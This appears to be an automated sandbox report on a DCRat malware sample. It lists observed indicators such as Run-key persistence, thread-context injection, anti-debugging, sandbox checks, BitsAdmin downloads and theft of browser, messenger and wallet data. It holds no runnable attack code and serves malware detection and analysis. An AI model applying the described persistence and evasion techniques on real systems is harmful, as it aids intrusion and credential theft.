dcrat | bf2bd257dde4921ce83c7c1303fafe7f9f81e53c2775d3c373ced482b22eb8a9

System Information Discovery

Processes:

Mykixepeva.exekeygen-step-4.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	Mykixepeva.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	keygen-step-4.exe

Loads dropped DLL 8 IoCs

Processes:

rundll32.exeInstall.tmprundll32.exemain.exeSunLabsPlayer.exeConhost.exey1.exe

pid process

196 rundll32.exe
2272 Install.tmp
4940 rundll32.exe
4756 main.exe
360 SunLabsPlayer.exe
3700 Conhost.exe
5548 y1.exe
360 SunLabsPlayer.exe
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

Ultra.exe14A.tmp.exe3388035.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Google\\Doxixijyfe.exe\""	Ultra.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	14A.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\waupdat3 = "C:\\Users\\Admin\\AppData\\Roaming\\waupdat3.exe"	14A.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Host = "C:\\ProgramData\\Windows Host\\Windows Host.exe"	3388035.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

jg6_6asg.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA jg6_6asg.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

23 ip-api.com
89 api.ipify.org
203 ip-api.com
227 api.myip.com
228 api.myip.com

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	jg6_6asg.exe

flow	ioc
23	ip-api.com
89	api.ipify.org
203	ip-api.com
227	api.myip.com
228	api.myip.com

Drops file in System32 directory 3 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\2JLVFH14.cookie	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\2JLVFH14.cookie	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

main.exe

pid process

4756 main.exe
4756 main.exe
4756 main.exe
4756 main.exe

pid	process
4756	main.exe
4756	main.exe
4756	main.exe
4756	main.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

svchost.exe14A.tmp.exeFD90.tmp.exejg6_6asg.exetoolspab1.exe

description	pid	process	target process
PID 488 set thread context of 1020	488	svchost.exe	svchost.exe
PID 4936 set thread context of 1044	4936	14A.tmp.exe	msiexec.exe
PID 4936 set thread context of 4764	4936	14A.tmp.exe	msiexec.exe
PID 4792 set thread context of 4928	4792	FD90.tmp.exe	FD90.tmp.exe
PID 4700 set thread context of 4396	4700	jg6_6asg.exe	AddInProcess32.exe
PID 2272 set thread context of 3700	2272	toolspab1.exe	Conhost.exe

Drops file in Program Files directory 64 IoCs

Processes:

SunLabsPlayer.exeUltra.exexiuhuali.exegoogle-game.exe

description	ioc	process
File created	C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\extensions\VLSub.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\create_stream.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\appletrailers.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libudp_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\spu\librss_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\intf\telnet.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\dailymotion.luac	SunLabsPlayer.exe
File created	C:\Program Files\Reference Assemblies\ZOXJARTIWL\ultramediaburner.exe	Ultra.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\intf\http.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libftp_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\control\libgestures_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\error_window.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\Google\Doxixijyfe.exe	Ultra.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libimem_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libvoc_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\bbc_co_uk.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\meta\art\00_musicbrainz.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\mobile.css	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libshm_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libgme_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files\install.dat	xiuhuali.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\rockbox_fm_presets.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lighteningplayer.ico	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\favicon.ico	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\offset_window.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libvdr_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libnuv_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\misc\libaddonsfsstorage_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\stream_window.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libcdda_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libfilesystem_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libvcd_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lighteningplayer.exe	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\playlist_jstree.xml	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\sd\icecast.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libscreen_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\logger\libconsole_logger_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\images\buttons.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libmmdevice_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\control\libhotkeys_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\mux\libmux_asf_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\images\Folder-48.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_wasapi_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_vc1_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\liveleak.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libmpgv_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libps_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\misc\libexport_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc16x16.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\control\liboldrc_plugin.dll	SunLabsPlayer.exe
File opened for modification	C:\Program Files\libEGL.dll	google-game.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libhttp_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\control\libnetsync_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libnoseek_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libsubtitle_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\main.css	SunLabsPlayer.exe

Drops file in Windows directory 1 IoCs

Processes:

MicrosoftEdge.exe

description ioc process

File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Program crash 8 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
5108	5808	WerFault.exe	AAC6.exe
5952	5808	WerFault.exe	AAC6.exe
5936	5808	WerFault.exe	AAC6.exe
5792	5808	WerFault.exe	AAC6.exe
2472	5808	WerFault.exe	AAC6.exe
5212	5808	WerFault.exe	AAC6.exe
5472	5808	WerFault.exe	AAC6.exe
1180	5808	WerFault.exe	AAC6.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

Conhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Conhost.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Conhost.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Conhost.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

svchost.exeFD90.tmp.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	FD90.tmp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FD90.tmp.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

4136 timeout.exe
6056 timeout.exe
Download via BitsAdmin 1 TTPs 1 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exe

pid process

5780 bitsadmin.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

5268 taskkill.exe

pid	process
4136	timeout.exe
6056	timeout.exe

pid	process
5780	bitsadmin.exe

pid	process
5268	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

Processes:

MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies data under HKEY_USERS 13 IoCs

Processes:

svchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdge.exesvchost.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exerundll32.exesvchost.exeMicrosoftEdgeCP.exeB093.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{20EP1MI0-142C-L17D-YD26-2GCP283P3KMT}	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = e98e8f07b237d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListFirstRun = "3"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "5"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0000000000000000	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{62FM2EJ3-714D-A09D-WM25-6QFJ226I1FER}\1 = "28"	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\MigrationTime = 1d24df8b702cd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{65BF34BA-6A08-4F77-8E6D-A070A853F631} = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{45AC2TN3-666M-M32E-TO40-1MIP137D5TOZ}\1 = "3452"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\FontSize = "3"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 010000007b33160e53b001564954ed815c119086abda26e5b48ad532a056a0c0ae5e2b59580248966ce48b2386d9f45ee1253dafe4bd287e7a8130463e9328b08549c0c7fc61e068046527cddc762b8caaee6a0bd2819f9af7d42fc040b89fa23279425631f27af12f533864c4cc17d0348dca5227c7eef44ea5c0d3d966b7e4380ee8701b54e3f072ce208c6d7b0d707c208b794f2daa61d6127eef283e9b5f672893bfc2260d5034f693022e236129f2c8a77b44544d6d1b3ddbec9adecb098ce6a6d15c0a2001afebddf60a644f006aa6287adedc6404a044d9133ce802e2a16a122b229f87f2c8cdb33367de8bf011d85a27866526306e4976e779fa9e8158d34995bb84741292bcb4160d31336de87f37849f8f66e0cc6ac1c9ceb5d137574152c34d5b015ff3d8055892fc172687bbe7eb7afb0fc30dc9df6a28ba87b98bd3f34634c3250c9f4163a8aee1573e4dad516f5c47573452857708c3a73b62c3abbdd4955bc9b2e517bf0f887f9b110f7300840214b033ebbd367f6b1e39fd0ae861da28c55594c77a812fce769c8cc12ec7008d026f721893342de8cc9e492c9338102cc195cb89ee	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
